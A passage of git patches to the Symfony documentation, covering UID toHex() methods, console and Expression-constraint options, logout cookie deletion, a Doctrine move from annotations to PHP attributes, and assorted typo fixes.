     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
+    $uuid->toHex(); // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
@@ -258,6 +259,7 @@ Use these methods to transform the ULID object into different bases::
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
+    $ulid->toHex(); // string(34) "0x0171069d593d97d38b3e23d06de5b308"
 
 Working with ULIDs
 ~~~~~~~~~~~~~~~~~~

From 2a5c0111112c6075de69ac5442286895c3a71839 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 21 Jul 2022 17:53:39 +0200
Subject: [PATCH 3424/7107] Add the versionadded directive

---
 components/uid.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 29d6911ba70..6e50ddfca59 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -84,7 +84,11 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
-    $uuid->toHex(); // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
+    $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
+
+.. versionadded:: 6.2
+
+    The ``toHex()`` method was introduced in Symfony 6.2.
 
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
@@ -259,7 +263,11 @@ Use these methods to transform the ULID object into different bases::
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
-    $ulid->toHex(); // string(34) "0x0171069d593d97d38b3e23d06de5b308"
+    $ulid->toHex();     // string(34) "0x0171069d593d97d38b3e23d06de5b308"
+
+.. versionadded:: 6.2
+
+    The ``toHex()`` method was introduced in Symfony 6.2.
 
 Working with ULIDs
 ~~~~~~~~~~~~~~~~~~

From 994497aa9d81409beb8fb5417ec9d3ac67adac52 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Thu, 21 Jul 2022 23:21:23 +0200
Subject: [PATCH 3425/7107] add command related to tags

---
 reference/dic_tags.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 768e4464b75..28d11c3c392 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -8,6 +8,18 @@ services that require special processing, like console commands or Twig extensio
 This article shows the most common tags provided by Symfony components, but in
 your application there could be more tags available provided by third-party bundles.
 
+Run this command to display tagged services in your application:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tags
+
+To search for a specific tag, re-run this command with a search term:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag=form.type
+
 auto_alias
 ----------
 

From 0ca983234ae5e675cad5c07ff3979753c6158a9b Mon Sep 17 00:00:00 2001
From: Florent Mata <fmata@bedream.fr>
Date: Mon, 6 Jun 2022 17:31:39 +0200
Subject: [PATCH 3426/7107] Update Expression constraint with "negate" option

---
 reference/constraints/Expression.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 1df2fe73653..e9fec8bfa8e 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -143,6 +143,13 @@ expression that must return true in order for validation to pass. To learn
 more about the expression language syntax, see
 :doc:`/components/expression_language/syntax`.
 
+.. versionadded:: 6.2
+
+   The `negate` option was introduced in Symfony 6.2.
+
+Alternatively, you can set the `negate` option to ``false`` in order to
+assert that the expression must return ``true`` for validation to fail.
+
 .. sidebar:: Mapping the Error to a Specific Field
 
     You can also attach the constraint to a specific property and still validate
@@ -294,6 +301,17 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
+``negate``
+~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``true``
+
+If ``false``, the validation fails when expression returns ``true``.
+
+.. versionadded:: 6.2
+
+   The `negate` option was introduced in Symfony 6.2.
+
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``values``

From 3bed40fce5cac9663e749e2d237ce17738285aa4 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 22 Jul 2022 10:13:21 +0200
Subject: [PATCH 3427/7107] Fix: Backticks

---
 reference/constraints/Expression.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index e9fec8bfa8e..db207358d89 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -145,9 +145,9 @@ more about the expression language syntax, see
 
 .. versionadded:: 6.2
 
-   The `negate` option was introduced in Symfony 6.2.
+   The ``negate`` option was introduced in Symfony 6.2.
 
-Alternatively, you can set the `negate` option to ``false`` in order to
+Alternatively, you can set the ``negate`` option to ``false`` in order to
 assert that the expression must return ``true`` for validation to fail.
 
 .. sidebar:: Mapping the Error to a Specific Field
@@ -310,7 +310,7 @@ If ``false``, the validation fails when expression returns ``true``.
 
 .. versionadded:: 6.2
 
-   The `negate` option was introduced in Symfony 6.2.
+   The ``negate`` option was introduced in Symfony 6.2.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 

From 7b2edfc621b7a08fe2009cf65388c63583a83b71 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 22 Jul 2022 10:14:28 +0200
Subject: [PATCH 3428/7107] Fix: Move versionadded

---
 reference/constraints/Expression.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index db207358d89..abd9cd5eb3b 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -143,13 +143,13 @@ expression that must return true in order for validation to pass. To learn
 more about the expression language syntax, see
 :doc:`/components/expression_language/syntax`.
 
+Alternatively, you can set the ``negate`` option to ``false`` in order to
+assert that the expression must return ``true`` for validation to fail.
+
 .. versionadded:: 6.2
 
    The ``negate`` option was introduced in Symfony 6.2.
 
-Alternatively, you can set the ``negate`` option to ``false`` in order to
-assert that the expression must return ``true`` for validation to fail.
-
 .. sidebar:: Mapping the Error to a Specific Field
 
     You can also attach the constraint to a specific property and still validate

From edd706f22ca69c1d955bbd581db3dd808e67c9b4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 10:23:50 +0200
Subject: [PATCH 3429/7107] Reword

---
 reference/configuration/debug.rst | 14 ++++++++------
 1 file changed, 8 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 1a0246eb0d1..c4040b8d8c7 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -11,16 +11,18 @@ key in your application configuration.
 .. code-block:: terminal
 
     # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference debug
+    $ php bin/console config:dump-reference framework
 
     # displays the actual config values used by your application
-    $ php bin/console debug:config debug
+    $ php bin/console debug:config framework
 
-.. note::
+    # displays the config values used by your application and replaces the
+    # environment variables with their actual values
+    $ php bin/console debug:config --resolve-env framework
+
+.. versionadded:: 6.2
 
-    The ``--resolve-env`` option is available with the ``debug:config``
-    command, which will resolved environment variables when
-    displaying the configuration values.
+    The ``--resolve-env`` option was introduced in Symfony 6.2.
 
 .. note::
 

From 91a92231a066c70049b4d7c7ff50abee123aeaf3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:55:59 +0200
Subject: [PATCH 3430/7107] [Security] Document the delete_cookies option

---
 reference/configuration/security.rst | 76 ++++++++++++++++++++++++++++
 1 file changed, 76 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6e51f7ad404..d964a1bfafb 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -30,6 +30,7 @@ Configuration
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
 * `anonymous`_
+* `delete_cookies`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -75,6 +76,81 @@ call in a template or ``isGranted()`` in a controller or service).
 
     The ``lazy`` value of the ``anonymous`` option was introduced in Symfony 4.4.
 
+delete_cookies
+~~~~~~~~~~~~~~
+
+**type**: ``array`` **default**: ``[]``
+
+Lists the names (and other optional features) of the cookies to delete when the
+user logs out::
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        delete_cookies:
+                            cookie1-name: null
+                            cookie2-name:
+                                path: '/'
+                            cookie3-name:
+                                path: null
+                                domain: example.com
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <!-- ... -->
+                    <logout path="...">
+                        <delete-cookie name="cookie1-name"/>
+                        <delete-cookie name="cookie2-name" path="/"/>
+                        <delete-cookie name="cookie3-name" domain="example.com"/>
+                    </logout>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            // ...
+            'firewalls' => [
+                'main' => [
+                    'logout' => [
+                        'delete_cookies' => [
+                            'cookie1-name' => null,
+                            'cookie2-name' => [
+                                'path' => '/',
+                            ],
+                            'cookie3-name' => [
+                                'path' => null,
+                                'domain' => 'example.com',
+                            ],
+                        ],
+                    ],
+                ],
+            ],
+        ]);
+
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 

From 14e501ffa8aca33fd37f4772901fedf4d60696cc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:35:06 +0200
Subject: [PATCH 3431/7107] [Console] Improve the description of command
 options

---
 console/input.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/console/input.rst b/console/input.rst
index 99c02f17607..c48968c81fc 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -134,10 +134,17 @@ how many times in a row the message should be printed::
     $this
         // ...
         ->addOption(
+            // this is the name that users must type to pass this option (e.g. --iterations=5)
             'iterations',
+            // this is the optional shortcut of the option name, which usually is just a letter
+            // (e.g. `i`, so users pass it as `-i`); use it for commonly used options
+            // or options with long names
             null,
+            // this is the type of option (e.g. requires a value, can be passed more than once, etc.)
             InputOption::VALUE_REQUIRED,
+            // the option description displayed when showing the command help
             'How many times should the message be printed?',
+            // the default value of the option (for those which allow to pass values)
             1
         )
     ;

From 50ddde9b0d2fa9fb19efb6240ac82b6275009c1d Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 16:15:13 -0400
Subject: [PATCH 3432/7107] [Doctrine] show attributes instead of annotations
 for maker-bundle

---
 doctrine.rst | 72 ++++++++++++++++++++++------------------------------
 1 file changed, 30 insertions(+), 42 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 2d787cf1a80..249ebc03f9d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -140,27 +140,19 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     use App\Repository\ProductRepository;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * @ORM\Entity(repositoryClass=ProductRepository::class)
-     */
+     #[ORM\Entity(repositoryClass: ProductRepository::class)]
     class Product
     {
-        /**
-         * @ORM\Id()
-         * @ORM\GeneratedValue()
-         * @ORM\Column(type="integer")
-         */
-        private $id;
+        #[ORM\Id]
+        #[ORM\GeneratedValue]
+        #[ORM\Column]
+        private int $id;
 
-        /**
-         * @ORM\Column(type="string", length=255)
-         */
-        private $name;
+        #[ORM\Column(length: 255)]
+        private string $name;
 
-        /**
-         * @ORM\Column(type="integer")
-         */
-        private $price;
+        #[ORM\Column]
+        private int $price;
 
         public function getId(): ?int
         {
@@ -170,6 +162,10 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
+.. caution::
+
+    Starting in v1.44.0 - MakerBundle only supports entities using Attributes.
+
 .. note::
 
     Confused why the price is an integer? Don't worry: this is just an example.
@@ -194,8 +190,8 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
 
 This class is called an "entity". And soon, you'll be able to save and query Product
 objects to a ``product`` table in your database. Each property in the ``Product``
-entity can be mapped to a column in that table. This is usually done with annotations:
-the ``@ORM\...`` comments that you see above each property:
+entity can be mapped to a column in that table. This is usually done with attributes:
+the ``#[ORM\Column(...)]`` comments that you see above each property:
 
 .. image:: /_images/doctrine/mapping_single_entity.png
    :align: center
@@ -214,8 +210,8 @@ If you want to use XML instead of annotations, add ``type: xml`` and
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
     for details on how to escape these. Or, change the table name with
-    ``@ORM\Table(name="groups")`` above the class or configure the column name with
-    the ``name="group_name"`` option.
+    ``#[ORM\Table(name: "groups")]`` above the class or configure the column name with
+    the ``name: "group_name"`` option.
 
 .. _doctrine-creating-the-database-tables-schema:
 
@@ -292,9 +288,7 @@ methods:
       {
           // ...
 
-    +     /**
-    +      * @ORM\Column(type="text")
-    +      */
+    +     #[ORM\Column(type: 'text')]
     +     private $description;
 
           // getDescription() & setDescription() were also added
@@ -363,12 +357,11 @@ and save it::
     use App\Entity\Product;
     use Doctrine\Persistence\ManagerRegistry;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product", name="create_product")
-         */
+        #[Route('/product', name: 'create_product')]
         public function createProduct(ManagerRegistry $doctrine): Response
         {
             $entityManager = $doctrine->getManager();
@@ -448,13 +441,12 @@ some basic validation tasks::
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Validator\Validator\ValidatorInterface;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product", name="create_product")
-         */
+        #[Route('/product', name: 'create_product')]
         public function createProduct(ValidatorInterface $validator): Response
         {
             $product = new Product();
@@ -513,13 +505,12 @@ be able to go to ``/product/1`` to see your new product::
 
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/{id}", name="product_show")
-         */
+        #[Route('/product/{id}', name: 'product_show')]
         public function show(ManagerRegistry $doctrine, int $id): Response
         {
             $product = $doctrine->getRepository(Product::class)->find($id);
@@ -547,13 +538,12 @@ and injected by the dependency injection container::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/{id}", name="product_show")
-         */
+        #[Route('/product/{id}', name: 'product_show')]
         public function show(int $id, ProductRepository $productRepository): Response
         {
             $product = $productRepository
@@ -631,13 +621,12 @@ Now, simplify your controller::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/{id}", name="product_show")
-         */
+        #[Route('/product/{id}', name: 'product_show')]
         public function show(Product $product): Response
         {
             // use the Product!
@@ -662,13 +651,12 @@ with any PHP model::
     use App\Entity\Product;
     use App\Repository\ProductRepository;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
     // ...
 
     class ProductController extends AbstractController
     {
-        /**
-         * @Route("/product/edit/{id}")
-         */
+        #[Route('/product/edit/{id}', name: 'product_edit')]
         public function update(ManagerRegistry $doctrine, int $id): Response
         {
             $entityManager = $doctrine->getManager();

From dff56d7ebcfa303c4d217ca64b53e1bb018a7cab Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 22 Jul 2022 12:22:48 +0200
Subject: [PATCH 3433/7107] Minor fixes

---
 doctrine.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 249ebc03f9d..34fa41c7d98 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -162,9 +162,9 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
         // ... getter and setter methods
     }
 
-.. caution::
+.. note::
 
-    Starting in v1.44.0 - MakerBundle only supports entities using Attributes.
+    Starting in v1.44.0 - MakerBundle only supports entities using PHP attributes.
 
 .. note::
 
@@ -440,8 +440,8 @@ some basic validation tasks::
 
     use App\Entity\Product;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Validator\Validator\ValidatorInterface;
     use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Validator\Validator\ValidatorInterface;
     // ...
 
     class ProductController extends AbstractController

From 34287db1c1109c5b15b3e4081f068a6c6e8dc4ec Mon Sep 17 00:00:00 2001
From: Robert Fischer <info@sandoba.com>
Date: Fri, 22 Jul 2022 11:31:22 +0200
Subject: [PATCH 3434/7107] Fix ~20 typos in different sections of the
 documentation

---
 best_practices.rst                             | 6 +++---
 components/browser_kit.rst                     | 2 +-
 components/console/helpers/progressbar.rst     | 2 +-
 components/http_kernel.rst                     | 2 +-
 components/property_access.rst                 | 2 +-
 configuration/front_controllers_and_kernel.rst | 2 +-
 configuration/micro_kernel_trait.rst           | 2 +-
 create_framework/http_foundation.rst           | 8 ++++----
 deployment.rst                                 | 2 +-
 doctrine/associations.rst                      | 2 +-
 migration.rst                                  | 2 +-
 notifier/chatters.rst                          | 2 +-
 rate_limiter.rst                               | 2 +-
 reference/constraints/Image.rst                | 2 +-
 reference/forms/types/datetime.rst             | 2 +-
 routing/custom_route_loader.rst                | 6 +++---
 security.rst                                   | 4 ++--
 security/remember_me.rst                       | 6 +++---
 service_container/factories.rst                | 2 +-
 session.rst                                    | 2 +-
 20 files changed, 30 insertions(+), 30 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index a955c35920a..79036fe04d3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -245,7 +245,7 @@ the fact that a controller should always return a ``Response`` object.
 Use Dependency Injection to Get Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you extend the base ``AbstractController``, you can only access to the most
+If you extend the base ``AbstractController``, you can only get access to the most
 common services (e.g ``twig``, ``router``, ``doctrine``, etc.), directly from the
 container via ``$this->container->get()``.
 Instead, you must use dependency injection to fetch services by
@@ -289,7 +289,7 @@ Define your Forms as PHP Classes
 
 Creating :ref:`forms in classes <creating-forms-in-classes>` allows to reuse
 them in different parts of the application. Besides, not creating forms in
-controllers simplify the code and maintenance of the controllers.
+controllers simplifies the code and maintenance of the controllers.
 
 Add Form Buttons in Templates
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -388,7 +388,7 @@ Use Webpack Encore to Process Web Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Web assets are things like CSS, JavaScript and image files that make the
-frontend of your site looks and works great. `Webpack`_ is the leading JavaScript
+frontend of your site look and work great. `Webpack`_ is the leading JavaScript
 module bundler that compiles, transforms and packages assets for usage in a browser.
 
 :doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 4a81ba30b43..0605a8a0dce 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -174,7 +174,7 @@ provides access to the form properties (e.g. ``$form->getUri()``,
 Custom Header Handling
 ~~~~~~~~~~~~~~~~~~~~~~
 
-The optional HTTP headers passed to the ``request()`` method follows the FastCGI
+The optional HTTP headers passed to the ``request()`` method follow the FastCGI
 request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
 Before saving those headers to the request, they are lower-cased, with ``HTTP_``
 stripped, and underscores converted into dashes.
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 2a2c9473cff..a4b721dfad3 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -293,7 +293,7 @@ to display it can be customized::
 .. caution::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
-    fast or to slow for your application, use the methods
+    fast or too slow for your application, use the methods
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws` and
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::maxSecondsBetweenRedraws`::
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 370e960c95f..93d2751a9be 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -9,7 +9,7 @@ The HttpKernel Component
     The HttpKernel component provides a structured process for converting
     a ``Request`` into a ``Response`` by making use of the EventDispatcher
     component. It's flexible enough to create a full-stack framework (Symfony),
-    a micro-framework (Silex) or an advanced CMS system (Drupal).
+    a micro-framework (Silex) or an advanced CMS (Drupal).
 
 Installation
 ------------
diff --git a/components/property_access.rst b/components/property_access.rst
index d3486d02996..956e78531d5 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -5,7 +5,7 @@
 The PropertyAccess Component
 ============================
 
-    The PropertyAccess component provides function to read and write from/to an
+    The PropertyAccess component provides functions to read and write from/to an
     object or array using a simple string notation.
 
 Installation
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index b0048e43e1d..b1a6cf234d3 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -247,7 +247,7 @@ the directory of the environment you're using (most commonly ``dev/`` while
 developing and debugging). While it can vary, the ``var/cache/dev/`` directory
 includes the following:
 
-``srcApp_KernelDevDebugContainer.php``
+``App_KernelDevDebugContainer.php``
     The cached "service container" that represents the cached application
     configuration.
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 66e9aae2bbe..856ef3bb92e 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -103,7 +103,7 @@ Advanced Example: Twig, Annotations and the Web Debug Toolbar
 -------------------------------------------------------------
 
 The purpose of the ``MicroKernelTrait`` is *not* to have a single-file application.
-Instead, its goal to give you the power to choose your bundles and structure.
+Instead, its goal is to give you the power to choose your bundles and structure.
 
 First, you'll probably want to put your PHP classes in an ``src/`` directory. Configure
 your ``composer.json`` file to load from there:
diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index dd838e9a5e2..2859c18553b 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -176,20 +176,20 @@ fingertips thanks to a nice and simple API::
     // the URI being requested (e.g. /about) minus any query parameters
     $request->getPathInfo();
 
-    // retrieve GET and POST variables respectively
+    // retrieves GET and POST variables respectively
     $request->query->get('foo');
     $request->request->get('bar', 'default value if bar does not exist');
 
-    // retrieve SERVER variables
+    // retrieves SERVER variables
     $request->server->get('HTTP_HOST');
 
     // retrieves an instance of UploadedFile identified by foo
     $request->files->get('foo');
 
-    // retrieve a COOKIE value
+    // retrieves a COOKIE value
     $request->cookies->get('PHPSESSID');
 
-    // retrieve an HTTP request header, with normalized, lowercase keys
+    // retrieves a HTTP request header, with normalized, lowercase keys
     $request->headers->get('host');
     $request->headers->get('content-type');
 
diff --git a/deployment.rst b/deployment.rst
index 9eb2b653552..6f24aa03a5b 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -65,7 +65,7 @@ Using Platforms as a Service
 
 Using a Platform as a Service (PaaS) can be a great way to deploy your Symfony
 app quickly. There are many PaaS, but we recommend `Platform.sh`_ as it
-provides a dedicated Symfony integration and help fund the Symfony development.
+provides a dedicated Symfony integration and helps fund the Symfony development.
 
 Using Build Scripts and other Tools
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 470e48059f2..cf41d9238e9 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -592,7 +592,7 @@ To update a relationship in the database, you *must* set the relationship on the
 *owning* side. The owning side is always where the ``ManyToOne`` mapping is set
 (for a ``ManyToMany`` relation, you can choose which side is the owning side).
 
-Does this means it's not possible to call ``$category->addProduct()`` or
+Does this mean it's not possible to call ``$category->addProduct()`` or
 ``$category->removeProduct()`` to update the database? Actually, it *is* possible,
 thanks to some clever code that the ``make:entity`` command generated::
 
diff --git a/migration.rst b/migration.rst
index 9d94e1377d1..b22ab90d893 100644
--- a/migration.rst
+++ b/migration.rst
@@ -130,7 +130,7 @@ It is quite common for an existing application to either not have a test suite
 at all or have low code coverage. Introducing unit tests for this code is
 likely not cost effective as the old code might be replaced with functionality
 from Symfony components or might be adapted to the new application.
-Additionally legacy code tends to be hard to write tests for making the process
+Additionally legacy code tends to be hard to write tests for, making the process
 slow and cumbersome.
 
 Instead of providing low level tests, that ensure each class works as expected, it
diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 626af38592b..65cfa7acd64 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -23,7 +23,7 @@ you to send messages to chat services like Slack or Telegram::
         public function thankyou(ChatterInterface $chatter)
         {
             $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is send to the
+                // if not set explicitly, the message is sent to the
                 // default transport (the first one configured)
                 ->transport('slack');
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 07db8c9c204..05a91265dc1 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -359,7 +359,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 Storing Rate Limiter State
 --------------------------
 
-All rate limiter policies require to store their state(e.g. how many hits were
+All rate limiter policies require to store their state (e.g. how many hits were
 already made in the current time window). By default, all limiters use the
 ``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 408341427db..5cb45c7e097 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -366,7 +366,7 @@ value.
 ``maxPixelsMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels).
+**type**: ``string`` **default**: ``The image has too many pixels ({{ pixels }} pixels).
 Maximum amount expected is {{ max_pixels }} pixels.``
 
 The error message if the amount of pixels of the image exceeds `maxPixels`_.
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 8d1e43da07e..c189aceb2a6 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -13,7 +13,7 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
 +---------------------------+-----------------------------------------------------------------------------+
-| Rendered as               | single text box or three select fields                                      |
+| Rendered as               | single text box or five select fields                                      |
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index c9b2853088a..74adb50d4a1 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -7,8 +7,8 @@ How to Create a custom Route Loader
 Basic applications can define all their routes in a single configuration file -
 usually ``config/routes.yaml`` (see :ref:`routing-creating-routes`).
 However, in most applications it's common to import routes definitions from
-different resources: PHP annotations in controller files, YAML, XML or PHP
-files stored in some directory, etc.
+different resources: PHP annotations or attributes in controller files, YAML, XML
+or PHP files stored in some directory, etc.
 
 Built-in Route Loaders
 ----------------------
@@ -214,7 +214,7 @@ tag it manually with ``routing.route_loader``.
 
 .. tip::
 
-    If your service is invokable, you don't need to precise the method to use.
+    If your service is invokable, you don't need to specify the method to use.
 
 Creating a custom Loader
 ------------------------
diff --git a/security.rst b/security.rst
index 496ddb6a86a..8cdac8ad9e1 100644
--- a/security.rst
+++ b/security.rst
